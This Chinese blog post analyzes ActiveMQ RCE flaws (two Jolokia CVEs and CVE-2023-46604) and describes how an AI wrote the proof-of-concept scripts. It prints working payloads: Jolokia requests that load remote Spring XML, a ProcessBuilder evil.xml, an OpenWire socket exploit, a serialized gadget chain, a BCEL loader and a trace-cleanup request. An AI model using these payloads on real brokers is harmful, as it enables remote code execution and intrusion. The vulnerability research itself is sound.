近期ActiveMQ Jolokia的两个漏洞以及部分历史漏洞分析
最近ActiveMQ出了两个有关Jolokia的新漏洞,之前都没看过ActiveMQ,借此机会分析一下,顺带把之前的几个重点漏洞也简单分析一遍。
目录
前言
最近ActiveMQ出了两个有关Jolokia的新漏洞,之前都没看过ActiveMQ,借此机会分析一下,顺带把之前的几个重点漏洞也简单分析一遍。
笔者水平有限,文章可能有诸多不足,请各位师傅理解,也欢迎在评论区和我交流。
CVE-2026-34197 Jolokia RCE
这里漏洞是AI找到的,原文链接:https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
这里的环境也是用vulhub,不过这里默认不开启远程调试端口,需要自己修改一下setenv(https://github.com/1diot9/MyJavaSecStudy/blob/main/Apache/ActiveMQ/CVE-2026-40466/docker/setenv)文件,把调试那行的注释去掉。我这里是本地改好,然后挂载进去,改了一下compose:
services:
activemq:
image: vulhub/activemq:6.2.2
ports:
- "61616:61616"
- "8161:8161"
- "5005:5005"
volumes:
- ./setenv:/opt/activemq/bin/setenv在分析这个漏洞之前,有一些概念需要了解。
JMX
JMX全称Java Management Extensions,用于我们管理和监控java应用程序。
一般有以下作用:
1、监控应用程序的运行状态和相关统计信息。
2、修改应用程序的配置(无需重启)。
3、状态变化或出错时通知处理。
比如我们要动态修改log4j的日志等级,这个时候就可以通过JMX,找到内存中想要修改的Logger对象,直接调用其setter方法修改,或是直接修改其属性。
当然,我们实际上需要依赖MBean去修改。MBeans会将对象的数据和操作暴露出来,方便直接调用,动态修改JVM里的对象。MBeans就相当于提供了调用特定类的特定方法的功能。
ActiveMQ 内部的各种核心组件(Broker、Queue、Topic、连接数、内存限制等)都是以 JMX MBeans 的形式存在内存里的。
感觉这里的原理有点像Java Agent内存马,都能直接修改运行中的对象,不过JMX不是直接修改字节码,而是调用暴露出来的特定方法。
Jolokia
是JMX转换器,让外部能够直接通过HTTP去执行JMX操作,读取JMX数据。
把底层复杂的 JMX MBeans 数据,转换成通用的 HTTP/RESTful 接口,并用 JSON 格式返回。
为了让系统管理员或者监控工具(比如 Prometheus、Datadog、Zabbix)能轻松拿到这些指标,ActiveMQ 在其内置的 Web 服务器(Jetty)里,挂载了 Jolokia 插件(通常路径在 http://IP:8161/api/jolokia)。
当你登录 ActiveMQ 的 Web 管理页面,看到各种漂亮的图表、查看某个队列有多少条消息、甚至点击“删除队列”按钮时,实际上是你的浏览器前端发送了 HTTP 格式的 Jolokia 请求,Jolokia 收到请求后,在后台翻译成 JMX 命令,调用 ActiveMQ 的 MBean 来完成操作的。
Transport Connectors
这是ActiveMQ当中的一个核心组件。决定了客户端(生产者/消费者)用什么网络协议连接到 Broker。ActiveMQ 支持非常丰富的协议。
常见类型:
- TCP:最常用、默认的连接方式,性能稳定。
- NIO:基于 TCP 的非阻塞 IO,适合海量并发连接。
- HTTP/HTTPS:允许客户端穿越防火墙发送消息。
- VM:一种特殊的内部连接方式,当生产者、消费者和 Broker 运行在同一个 JVM 内存里时使用,不需要网络通信,速度极快。
这个漏洞里就会利用到VM协议。
XBean
Apache XBean 是一个用来“简化 Spring XML 配置文件”的开源框架。
XBean风格的xml配置,最终还是会转换成原生Spring XML,所以直接写原本的格式也可以。XBean往往会和加载Spring XML配置文件联系,对漏洞利用来说,就是能够通过init-method去调用一些恶意方法。
原生Spring XML:
<!-- 原生 Spring 写法(没有 XBean) -->
<bean id="broker" class="org.apache.activemq.broker.BrokerService">
<property name="brokerName" value="localhost"/>
<property name="persistent" value="false"/>
<property name="transportConnectors">
<list>
<bean class="org.apache.activemq.broker.TransportConnector">
<property name="uri" value="tcp://localhost:61616"/>
</bean>
</list>
</property>
</bean>XBean写法:
<!-- 使用 XBean 的写法(ActiveMQ 的 activemq.xml 就是这种格式) -->
<broker brokerName="localhost" persistent="false" xmlns="http://activemq.apache.org/schema/core">
<transportConnectors>
<transportConnector uri="tcp://localhost:61616"/>
</transportConnectors>
</broker>
漏洞分析
先看一下漏洞公告:

能够确定入口方法是addNetworkConnector。
找一下对应的class:

org.apache.activemq.broker.jmx.BrokerView#addNetworkConnector
Jolokia配置
先看jolokia配置文件:

<cors>应该是:
<cors>
<!-- 必须加上严格校验,防止 CSRF -->
<strict-checking/>
</cors>这应该只是vulhub镜像的缘故,所以一般情况下要加上Origin头才能访问。
同时,command全局配置里禁止了write和exec命令,但是却对org.apache.activemq:*相关的MBeans启用了全部命令。这正是本次漏洞的入口,漏洞挖掘面一下子缩小到了特定的MBeans。

上图中拒绝访问的MBean,对应的是之前出现过的几次漏洞,比如CVE-2022-41678
利用链
这里从Sink开始倒推,做一下简要分析。
org.apache.activemq.xbean.XBeanBrokerFactory#createBroker:
第二个框有getBean("broker")的操作,如果get为null,在后面的代码会抛出报错。虽然测试下来命令也能执行,但是加上broker会让链子更稳定。
现在跟进createApplicationContext:


这里跟ClassPathXmlApplicationContext的利用是一样的,最后都会调用refresh去加载xml配置文件,并根据init-method在实例化对象后调用初始化方法。
evil.xml如下:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- RCE 载荷,cmd bean 必须放在 broker bean 前面 -->
<bean id="cmd" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/PWNED_SUCCESS</value>
</list>
</constructor-arg>
</bean>
<!-- broker bean 必须存在,且设置 persistent=false 避免 KahaDB 锁阻塞 -->
<bean id="broker" class="org.apache.activemq.xbean.XBeanBrokerService">
<property name="brokerName" value="rcebroker42"/>
<property name="persistent" value="false"/>
</bean>
</beans>往前搜索用法,来到org.apache.activemq.transport.vm.VMTransportFactory#doCompositeConnect:


这个方法会解析格式为 vm://...?...brokerConfig=... 的URI,并从中取出brokerConfig,再把它交给BrokerFactory.createBroker(...)。这里发生的事可以概括成:transport URI,变成了 broker 配置来源,broker 配置来源又进一步变成了 Spring XML 加载来源。
到这里,能够确定漏洞的大致利用思路:
可控 vm URI可控 brokerConfig可控 XBean 配置加载可控 Spring bean 初始化最终命中命令执行 Sink
再往上找,看看哪里能够控制这里的vm URI。
结合漏洞公告里给出的org.apache.activemq.broker.jmx.BrokerView#addNetworkConnector,最终能够确定利用链为:
org.apache.activemq.broker.jmx.BrokerView.addNetworkConnectororg.apache.activemq.network.DiscoveryNetworkConnector.handleStartorg.apache.activemq.network.DiscoveryNetworkConnector.onServiceAddorg.apache.activemq.transport.TransportFactory.connectorg.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect
这里建议自己打断点调试一遍,这样最清楚。
最后会在connector.start时直接触发。

POC
python poccve_2026_34197_jolokia_rce.py --target-host 192.168.21.132 --listen-port 18080 --remove-existing-nc --command "touch /tmp/cve_2026_34197_poc"
添加Network Connector(在6.2.2版本中,这一个包就可以实现利用):
POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/
{
"type": "exec",
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://rcebroker42?brokerConfig=xbean:http://evil-http:8000/evil.xml)"]
}
启动Network Connector:
POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/
{
"type": "exec",
"mbean": "org.apache.activemq:brokerName=localhost,connector=networkConnectors,networkConnectorName=NC,type=Broker",
"operation": "start",
"arguments": []
}痕迹清除:
POST /api/jolokia HTTP/1.1
Host: 192.168.21.132:8161
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://192.168.21.132:8161
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Content-Type: application/json
{
"type": "exec",
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": [
"NC"
]
}修复
在org.apache.activemq.broker.jmx.BrokerView#addNetworkConnector入口处,对协议进行了校验,不允许vm协议:

在XBean工厂处,对协议进行了白名单匹配,默认只允许file和classpath,阻断了通过http远程加载的可能:

AI编写POC
把漏洞公告给AI,同时再结合AI写的我写的远程调试的mcp(暂未开源),codex接入gpt5.4 能够一次出POC脚本:


速度很快,12分钟就把POC写出来了。
CVE-2026-40466
上面的漏洞公开半个月后,又找到了一个新的漏洞,且最终的利用也是远程加载XML,可以算作是一个绕过。
漏洞公告:https://www.cve.org/CVERecord?id=CVE-2026-40466

由于漏洞很新,昨天才公布,网上还没有看到分析文章,这里就继续用AI来分析。
提示词如下:

环境可以从我的仓库里拿,直接docker compose一键启动即可,用的是activemq 6.2.4版本。
https://github.com/1diot9/MyJavaSecStudy/tree/main/Apache/ActiveMQ/CVE-2026-40466/docker
最终直接给出了分析文档和可利用的POC:

POC利用成功:

漏洞分析
现在来人工分析一下这次的绕过。


在创建DiscoveryAgent时有些不一样,这里创建HTTPDiscoveryAgent,而之前的漏洞是SimpleDiscoveryAgentFactory。这里的uri,就是设置的恶意http地址,而这个
后面就进入到start环节,最终回调到onServiceAdd。
到回调onServiceAdd时,就跟上一个漏洞一模一样了:

还是没看懂,没关系,我也是。像这种有回调的异步触发漏洞,对我来说其实挺复杂的,尤其是对ActiveMQ工作机制不太了解的情况下。所以这里先不看代码,从功能的角度来理解一下,为什么会存在这个漏洞。
先了解一下DiscoveryNetworkConnector这个关键类的作用。 它实际上用于实现 服务发现(Service Discovery)机制,帮助 Broker 动态发现其他远程 Broker 实例并建立连接。这个类的主要作用是通过外部注册表(如 HTTP 注册表、DNS 或其他服务发现机制)自动获取可用的远程 Broker 地址列表,并根据这些地址建立 网络桥接,实现分布式 Broker 之间的通信和负载均衡。
注意,这里提到了通过外部HTTP注册表来发现其他broker并建立连接。而这里的HTTP注册表,也就是HTTP URL是我们能够操控的:

![]()
在这个模型下:
http://host/discovery-registry/default是服务注册表地址- 注册表返回的每一行文本,才是实际要连接的 service URI
- Broker 周期性轮询注册表,是为了感知新节点上线、旧节点下线或地址变化
正常场景里,这个 HTTP 请求语义大致是:
- Broker 管理端新增一个基于 discovery 的 connector
HTTPDiscoveryAgent定时请求 registry- registry 返回当前应连接的 broker 地址列表
DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)对新地址建立桥接- 当 registry 不再返回某地址时,对应桥接被移除
换句话说,GET /discovery-registry/default?freshness=3000 本来的功能是“拉取当前可用节点列表”,不是“拉取漏洞 payload”。
问题在于 ActiveMQ 把 registry 返回的每一行都当作“可信的 transport URI”继续处理,而没有把它看作第二阶段、同样需要安全校验的外部输入,这是本地漏洞产生的根因。
现在再回到代码。


上图负责注册connector,然后启动connector,启动后,当前broker就会对注册中心发起请求,然后异步回调onServiceAdd,添加一个broker服务。
而broker服务间,能通过多种协议通信,这里的vm:// 就是其中一种,是broker都在一个JVM中的协议,相当于内存间通信。broker初始化时,会根据URI中的brokerConfig,去加载xml配置文件,默认使用xbean,底层就是spring bean xml,所以可用init-method调用方法。
这样整体去分析漏洞,会比只看代码更清楚。
POC
python poccve_2026_40466_http_discovery_jolokia_rce.py --target-host 192.168.21.132 --listen-port 18080 --remove-existing-nc --command "touch /tmp/cve_2026_40466_poc"
先清除:
POST /api/jolokia HTTP/1.1
Host: 192.168.21.132:8161
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://192.168.21.132:8161
Content-Type: application/json
Connection: close
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": [
"NC"
]
}添加connector(在6.2.4,这一步就已经利用成功了):
POST /api/jolokia HTTP/1.1
Host: 192.168.21.132:8161
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://192.168.21.132:8161
Content-Type: application/json
Connection: close
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": [
"http://192.168.21.1:18088/discovery-registry/default?updateInterval=1000"
]
}启动:
POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/
{
"type": "exec",
"mbean": "org.apache.activemq:brokerName=localhost,connector=networkConnectors,networkConnectorName=NC,type=Broker",
"operation": "start",
"arguments": []
}CVE-2023-46604 反序列化调用构造方法
环境搭建
服务端:直接用vulhub的docker启动就行,自动会开启5005远程调试端口 然后把activemq打包成tar再docker cp 拿出来
客户端:pom.xml jdk11
<dependencies>
<!-- Source: https://mvnrepository.com/artifact/org.apache.activemq/activemq-all -->
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-all</artifactId>
<version>5.17.3</version>
<scope>compile</scope>
</dependency>
<!-- activemq-all shades SLF4J 1.x StaticLoggerBinder, needs log4j-slf4j-impl -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.17.2</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.2</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.2</version>
</dependency>
</dependencies>漏洞分析
通信测试
由于activemq用的不是http通信,所以这里要写一个测试,往服务端做一次请求,然后打断点,看一下调用栈,这样才知道我们的数据能从哪里流入,帮助我们获取到source点。
根据nvd上对漏洞的描述:

我们能够知道,这里的漏洞点在于OpenWire协议的反序列化过程。
有了上面的背景,我们能够明确需要分析的是openwire相关的通信过程。
据此询问AI:

于是知道应该在 OpenWireFormat类断点。
下面是AI给出的通信Demo:
import javax.jms.Connection;
import javax.jms.DeliveryMode;
import javax.jms.MessageProducer;
import javax.jms.Session;
import javax.jms.TextMessage;
import javax.jms.Queue;
import org.apache.activemq.ActiveMQConnectionFactory;
public class OpenWireBasicSendDemo {
public static void main(String[] args) throws Exception {
String brokerUrl = "tcp://192.168.21.132:61616";
String queueName = "TEST.OPENWIRE";
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(brokerUrl);
Connection connection = null;
Session session = null;
MessageProducer producer = null;
try {
connection = factory.createConnection();
connection.start();
session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(queueName);
producer = session.createProducer(queue);
TextMessage message = session.createTextMessage("hello openwire");
producer.send(message);
System.out.println("[+] message sent");
} finally {
if (producer != null) {
try { producer.close(); } catch (Exception ignored) {}
}
if (session != null) {
try { session.close(); } catch (Exception ignored) {}
}
if (connection != null) {
try { connection.close(); } catch (Exception ignored) {}
}
}
}
}结合Demo来看看调用栈。

能够发现确实进入了doUnmarshal
看一下unmarshal和doUnmarshal:


能够看到会从dis,也就是我们传入的数据中,先readInt作为size,再readByte作为dataType。size会与maxFrameSize比较,这里直接设置成0就好。dataType决定使用的是哪个marshaller,这里设置成31,选择到org.apache.activemq.openwire.v12.ExceptionResponseMarshaller,为什么选这个,下面分析利用链的时候会讲到。
还有一点,默认情况下,doUnmarshal默认进入的是tight模式:

利用链
这里从sink开始,一步步往前推。
org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable:

能够调用任意类的public,参数为String的构造函数。
这里最直接的可利用类是org.springframework.context.support.ClassPathXmlApplicationContext#ClassPathXmlApplicationContext(java.lang.String),能够加载远程xml,并执行其中的恶意代码。
可以使用java-chains生成恶意xml:

往前找哪里对这个createThrowable方法进行了调用,直到一个能够接受外部数据流的方法。

上图显示,有looseUnmarsalThrowable和tightUnmarsalThrowable两个方法会调用createThrowable。这里选择looseUnmarsalThrowable分析(明明上面说默认进入tight,但这里为什么选loose分析,因为后面我们的第一种POC走的不是正常的通信)。能够发现,所用到的clazz和message都是从dataIn中读取的,且最上面还有个if进行了readBoolen。
再看看looseUnmarshalString:

里面也有readBoolen的操作。
所以在这里dataIn应该是:
dataIn.writeBoolean(true);
dataIn.writeBoolean(true);
dataIn.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataIn.writeBoolean(true);
dataIn.writeUTF("http://192.168.70.158:7777/spring-poc.xml");继续往前找,看哪里调用了looseUnmarsalThrowable:

这里有三个类,我们看前两个,因为第三个在调用looseUnmarsalThrowable前执行了许多其他方法,可能有不可控的地方,所以先不看,第三个方法如下图:

先看第一个类org.apache.activemq.openwire.v12.ConnectionErrorMarshaller:

这里主要看一下super方法,因为里面有读取数据流的操作。

这里就一次super里有数据流相关操作,如上图。
所以可以反推出dataIn的构造:
dataIn.writeInt(0);
dataIn.writeBoolean(false);
dataIn.writeBoolean(true);
dataIn.writeBoolean(true);
dataIn.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataIn.writeBoolean(true);
dataIn.writeUTF("http://192.168.70.158:7777/spring-poc.xml");再看第二个类org.apache.activemq.openwire.v12.ExceptionResponseMarshaller:

依旧关注super:


这里的super有两处,因此可以反推出dataIn:
dataIn.writeInt(0);
dataIn.writeBoolean(false);
dataIn.writeInt(0);
dataIn.writeBoolean(true);
dataIn.writeBoolean(true);
dataIn.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataIn.writeBoolean(true);
dataIn.writeUTF("http://192.168.70.158:7777/spring-poc.xml");
继续往前推,查找哪里调用了looseUnmarshal:

在先前的测试中,doUnmarshal是会在请求时被触发的,所以这里就是source。
POC编写
通过上面的分析,我们能够直接通过socket去发送字节流,具体代码见POC的方法1,这个方法由于没走正常的客户端通信,所以默认在server通过loose反序列化。
这里再介绍另一种方法,怎么利用官方的接口去发送恶意数据。
这里要对client发送的流程进行调试。
调用栈:

先在send打断点:

确保停在send以后,然后在org.apache.activemq.openwire.OpenWireFormat的marshal方法打断点:


如果直接在marshal打断点,在send前也会多次调用,对分析产生影响。
从上图可以发现,我们send的TextMessage,就是这里的o,然后会调用getDataStructureType,根据type选择对应的marshaller。
我们这里的要求就是让type为31,这样能选到ExceptionResponseMarshaller。
而ExceptionResponse.getDataStructureType始终返回31:

因此这里的目标就是让运行时候的o为ExceptionResponse。
再往前看一个调用栈,来到org.apache.activemq.transport.tcp.TcpTransport#oneway:

也就是说,要让command为ExceptionResponse。
这里采取的方式是,重写org.apache.activemq.transport.tcp.TcpTransport,因为类加载时会优先加载当前工作目录下的类。所以直接重写oneway方法,手动指定command就行。
创建完TcpTransport后,先把原类复制过来,然后单独改一下oneway就行:
@Override
public void oneway(Object command) throws IOException {
checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://192.168.70.158:7777/spring-poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
// ConnectionError connectionError = new ConnectionError();
// connectionError.setException(obj);
wireFormat.marshal(response, dataOut);
dataOut.flush();
}这里的ClassPathXmlApplicationContext必须为Throwable类型,所以我们也要覆盖一下:
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
private String message;
public ClassPathXmlApplicationContext(String message) {
this.message = message;
}
@Override
public String getMessage() {
return message;
}
}
这样不管client发什么请求,最终选择到的都是ExceptionResponseMarshaller,都能够触发漏洞。
当然,这里用ConnectionError类也可以,已经写在上面的代码注释里了。
这就是POC的第二种写法。

后面发现其实还有更简单的方法。
这里client其实可以直接调用oneway去请求,这样就可以直接控制传入的command了:
![]()
POC
方法1:直接构造数据流
import javax.xml.crypto.Data;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class SocketExp {
public static void main(String[] args) throws IOException {
Socket socket = new Socket("192.168.21.132", 61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(0);// size
exRes(dos);
// body
dos.writeBoolean(true);
// UTF
dos.writeBoolean(true);
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dos.writeBoolean(true);
dos.writeUTF("http://192.168.70.158:7777/spring-poc.xml");
dos.close();
os.close();
socket.close();
}
public static void exRes(DataOutputStream dos) throws IOException {
dos.writeByte(31);// type
dos.writeInt(0);// CommandId
dos.writeBoolean(false);// Command response required
dos.writeInt(0);// CorrelationId
}
public static void conErr(DataOutputStream dos) throws IOException {
dos.writeByte(16);// type
dos.writeInt(0);
dos.writeBoolean(false);
}
}

方法2:重写序列化逻辑,在上一节里讲过了。
修复
新增了对实例化类的校验,只有是Throwable的,才能被初始化:


CVE-2023-46604 不出网打法
分析
上面最终的利用类是org.springframework.context.support.ClassPathXmlApplicationContext,需要出网加载xml,或是先把xml写入才行。
现在介绍能够不出网的利用方法。
漏洞情景来源于京麒CTF2024初赛的题目:

目标就是找一个能够利用的,参数为String的构造方法。
这里可以用CodeQL筛选,也可以用Tabby。
Tabby语句:
match (sink:Method {PARAMETER_SIZE:1,NAME:"<init>"}) where sink.SUB_SIGNATURE =~ ".*\(java\.lang\.String\)"
return sink limit 3CodeQL语句:
import java
from Constructor c
where c.getParameterType(0).hasName("String")
and c.getNumberOfParameters() = 1
and c.fromSource()
select c, c.getParameterType(0)然而,这样只能找到参数为String的构造方法,具体哪个方法能够利用,还是得自己一个个看。
网上文章一般会直接说找到:
org.apache.activemq.shiro.env.IniEnvironment为利用方法。不知道是怎么确定下来的,因为用上面的搜索语句,搜到的方法其实挺多的。
IniEnvironment
这里就先不管这些,直接看为什么org.apache.activemq.shiro.env.IniEnvironment能被利用。
来到org.apache.activemq.shiro.env.IniEnvironment#IniEnvironment(java.lang.String):

根据代码,大致能够推断出这个构造方法是用来初始化shiro配置文件的,传入的String就是配置文件的内容。
这里从官方文档了解一下shiro配置文件的格式:

可以看到,是通过[xxx]来分段的。
从下面的例子中,能发现配置文件可以直接为对象中的字段赋值,且支持$xxx的引用类型:

再往下看,文档提到字段的装配是通过JavaBean机制实现的:

fastjson对字段的装配也是通过JavaBean实现,那么,这里的shiro配置文件,很可能也会像fastjson一样,本质上是通过调用getter,setter方法来赋值的。
实际上,在CTFCON2024中, yemoli师傅最先提出这个方法:https://github.com/CTFCON/slides/blob/main/2024/Make%20ActiveMQ%20Attack%20Authoritative.pdf

到这里,我们就用友了执行任意getter,setter方法的能力了。接下来就是找能够在activemq依赖环境下,能够利用的getter或setter方法。
这里还是参考 yemoli 师傅的汇报。
ActiveMQObjectMessage.getObject
第一个方法是org.apache.activemq.command.ActiveMQObjectMessage#getObject:

这里能够进行原生反序列化,不过需要设置trustAllPackages为true,不然会被拦截,所以并不能作为一般的getter sink使用。
ClassLoadingAwareObjectInputStream类里写了默认能够被反序列化的类,用的白名单机制:

默认只有java.lang,org.apache.activemq,org.fusesource.hawtbuf,com.thoughtworks.xstream.mapper两个类能反序列化。
反序列化用到的Content可以自己跟进看一下,结构比较简单。
最后的Payload:
[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==
bs.length = 999999
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x这里有一点要说明,这里传入的byte可以为base64或hex格式,shiro会自动解码:

本地测一下:

BasicDataSource.getConnection
这里利用的是BCEL或JDBC。
还是参考CTFCON的PPT。



能够看到,这里最终会使用Class.forName(driverClassName, true, driverClassLoader)去load我们指定的driverClassName,且使用的是指定的driverClassLoader。那么就可以用BCEL去实现字节码加载了。
最终的shiro配置:
[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$9b$a4q$ec$3a$e4$a3$cd$H$e5$a3$a4$z$8d$d3$D$bepK$c4$F$b5R$85$a1$88T$a9zt$96m$b2$c1$b1$pg$d3$e6$lq$ce$F$QH$ed$9d$l$85$985Q$I$w$96$3c$b3$f3$e6$cd$9b$e7$f5$cf_$dfo$B$bc$84c$c1D$dd$c2C$ec$e4$f0H$e7$c7$G$9e$Yxj$n$8b$5d$D$cf$M4$Y$b2$j$ZJ$f5$8a$n$ed$b4z$M$99$d7$d1G$c1P$f0d$u$de$cd$c6$7d$R$9f$fb$fd$80$90$b2$Xq$3f$e8$f9$b1$d4$f5$S$cc$a8$a1$9cj6$8f$c6$eeh6U$ee$f1$b5$M$da$M$b9$O$P$96$ba$8cx$Vo$e4_$fb$ae$8c$dc$d3$b3$e39$X$T$r$a3$90h$f9$ae$f2$f9$a7$b7$fe$q$d1$pw$MV7$9a$c5$5c$9cH$adoj$b9$Xz$d6$86$85M$D$7b6$f6q$40$8b$c9$L$b7$f1$i$87$M$5b$ff$d1f$d8I$d0$c0$P$H$ee$87Y$a8$e4X$ac$9aZ$abI$cb$ff1$cdP$fc$3bq$d6$l$J$ae$YJ$f7D$c8$e0$40$a8UQqZ$de$3d$O$7dXF$cc$Fgh$3ak$dd$ae$8ae8h$af$P$bc$8f$p$$$a6S$g$a8$af3$cf$87qt$a3o$a4$dd$ea$a1$81$i$fdG$fd$a4$c0$f4$zP$b4$a9r$v3$ca$hG_$c1$WI$3bO1$fb$H$c4$D$8a$f6$f2$5c$40$91r$O$a5$d5$f0$V$d2I$af$f6$N$a9r$fa$L2$X$9f$91$7f$f3$D$d9KR3$ee$WI$d3$q$ea$G$R$b5l$95NH$9cl$Sj$Sf$Rf$af$d6$e4$J$xc$8b$aamz$N$a4$3c$D$V$93$g$d5$c4Y$ed7f9$e8t$96$C$A$A"
bds.connection.a = a除此之外,getConnection还能打JDBC。
createDataSource建立数据源时,里面的url等连接参数都是通过get获取,所以可控:

但是activemq依赖中没有自带驱动依赖,所以没法直接打。
shiro配置参考:
[main]
datasource=org.apache.commons.dbcp2.BasicDataSource
datasource.url=jdbc:mysql://47.113.104.49:3306/db1
datasource.password=x
datasource.username=x
datasource.driverClassName=com.mysql.cj.jdbc.Driver
datasource.connection.x=x利用工具分析
https://github.com/Arlenhiack/ActiveMQ-RCE-Exploit/tree/main
这个项目能够实现不出网回显。来看看是怎么实现回显的。因为这里打的61616端口,不是传统http,不能通过回显马等传统方法,所以我还比较好奇。
不出网的利用命令如下:java -jar activemq-exp.jar 127.0.0.1 61616 ini whoami
对应:


这里会setTransportListener,先记住。由于选择的是 ini 模式,所以会通过getIni去获取payload:

这里通过javassist,动态改变O的构造方法,实现替换不同命令。

实现命令回显,最重要的就是上面这段。
首先,这里是在尝试创建一个ControlCommand,因为第二个写入的byte是14:

其次,下面的bs字段,主要是在tight模式中,有很多地方会从bs里取值,这里静态看其实不太好分析,猜测作者当时也是一遍遍调试,最后才找到正确的数据流构造:

